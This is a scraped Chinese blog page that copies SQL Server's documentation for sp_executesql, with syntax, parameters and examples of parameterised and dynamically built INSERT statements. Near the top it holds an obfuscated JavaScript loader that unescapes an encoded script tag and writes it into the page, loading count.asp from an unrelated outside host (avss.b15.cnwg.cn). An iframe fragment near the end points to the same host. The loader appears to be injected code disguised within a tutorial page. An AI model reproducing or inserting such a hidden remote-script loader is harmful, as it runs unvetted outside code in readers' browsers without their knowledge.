sp_executesql

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
sp_executesql




以下是SqlServer的联机文档:
执行可以多次重用或动态生成的 Transact-SQL 语句或批处理。Transact-SQL 语句或批处理可以包含嵌入参数。
语法
sp_executesql
[
@stmt

=
]
stmt
[
    
{
,
[
@params

=
]
N'@
parameter_name  data_type
[
,
...
n
]
'
}
    {
,
[
@
param1
=
]
'
value1
'
[
,
...
n
] }
]
参数
[
@stmt

=
]
stmt
包含 Transact-SQL 语句或批处理的 Unicode 字符串,
stmt
必须是可以隐式转换为
ntext
的 Unicode 常量或变量。不允许使用更复杂的 Unicode 表达式(例如使用 + 运算符串联两个字符串)。不允许使用字符常量。如果指定常量,则必须使用 N 作为前缀。例如,Unicode 常量 N'sp_who' 是有效的,但是字符常量 'sp_who' 则无效。字符串的大小仅受可用数据库服务器内存限制。
stmt
可以包含与变量名形式相同的参数,例如:
N'SELECT * FROM Employees WHERE EmployeeID = @IDParameter'
stmt
中包含的每个参数在
@params
参数定义列表和参数值列表中均必须有对应项。
[
@params

=
]
N'@
parameter_name  data_type
[
,
...
n
]
'
字符串,其中包含已嵌入到
stmt
中的所有参数的定义。该字符串必须是可以隐式转换为
ntext
的 Unicode 常量或变量。每个参数定义均由参数名和数据类型组成。
n
是表明附加参数定义的占位符。
stmt
中指定的每个参数都必须在
@params
中定义。如果
stmt
中的 Transact-SQL 语句或批处理不包含参数,则不需要
@params
。该参数的默认值为 NULL。
[
@
param1
=
]
'
value1
'
参数字符串中定义的第一个参数的值。该值可以是常量或变量。必须为
stmt
中包含的每个参数提供参数值。如果
stmt
中包含的 Transact-SQL 语句或批处理没有参数,则不需要值。
n
附加参数的值的占位符。这些值只能是常量或变量,而不能是更复杂的表达式,例如函数或使用运算符生成的表达式。
返回代码值
0(成功)或 1(失败)
示例
A. 执行简单的 SELECT 语句
下面的示例创建并执行一个简单的 SELECT 语句,其中包含名为
@level
的嵌入参数。
execute sp_executesql N'select * from pubs.dbo.employee where job_lvl = @level', N'@level tinyint', @level = 35
B. 执行动态生成的字符串
下面的示例显示使用
sp_executesql
执行动态生成的字符串。该示例中的存储过程用来向一组表中插入数据,该表用于划分一年的销售数据。一年中的每个月均有一个表,格式如下:
CREATE TABLE May1998Sales (OrderID INT PRIMARY KEY, CustomerID INT NOT NULL, OrderDate DATETIME NULL CHECK (DATEPART(yy, OrderDate) = 1998), OrderMonth INT CHECK (OrderMonth = 5), DeliveryDate DATETIME NULL, CHECK (DATEPART(mm, OrderDate) = OrderMonth) )
有关从这些分区表中检索数据的更多信息,请参见
使用包含分区数据的视图

每个表的名称由月份名的前三个字母、年度的四位数字和常量 Sales 组成。名称可以从订单日期动态生成:
/* Get the first three characters of the month name. */SUBSTRING( DATENAME(mm, @PrmOrderDate), 1, 3) +/* Concatenate the four-digit year; cast as character. */CAST(DATEPART(yy, @PrmOrderDate) AS CHAR(4) ) +/* Concatenate the constant 'Sales'. */'Sales'
下面示例中的存储过程动态生成并执行一个 INSERT 语句,向适当的表中插入新订单。该存储过程使用订单日期生成应包含数据的表的名称,然后将名称并入 INSERT 语句。(这是
sp_executesql
的一个简单示例。不包含错误检查,也不包括业务规则检查,例如确保两个表之间订单号没有重复。)
CREATE PROCEDURE InsertSales @PrmOrderID INT, @PrmCustomerID INT, @PrmOrderDate DATETIME, @PrmDeliveryDate DATETIMEASDECLARE @InsertString NVARCHAR(500)DECLARE @OrderMonth INT-- Build the INSERT statement.SET @InsertString = 'INSERT INTO ' + /* Build the name of the table. */ SUBSTRING( DATENAME(mm, @PrmOrderDate), 1, 3) + CAST(DATEPART(yy, @PrmOrderDate) AS CHAR(4) ) + 'Sales' + /* Build a VALUES clause. */ ' VALUES (@InsOrderID, @InsCustID, @InsOrdDate,' + ' @InsOrdMonth, @InsDelDate)'/* Set the value to use for the order month because functions are not allowed in the sp_executesql parameter list. */SET @OrderMonth = DATEPART(mm, @PrmOrderDate)EXEC sp_executesql @InsertString, N'@InsOrderID INT, @InsCustID INT, @InsOrdDate DATETIME, @InsOrdMonth INT, @InsDelDate DATETIME', @PrmOrderID, @PrmCustomerID, @PrmOrderDate, @OrderMonth, @PrmDeliveryDateGO
在该过程中使用
sp_executesql
比使用 EXECUTE 执行字符串更有效。使用
sp_executesql
时,只生成 12 个版本的 INSERT 字符串,每个月的表 1 个。使用 EXECUTE 时,因为参数值不同,每个 INSERT 字符串均是唯一的。尽管两种方法生成的批处理数相同,但因为
sp_executesql
生成的 INSERT 字符串相似,所以查询优化程序更有可能反复使用执行计划。
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值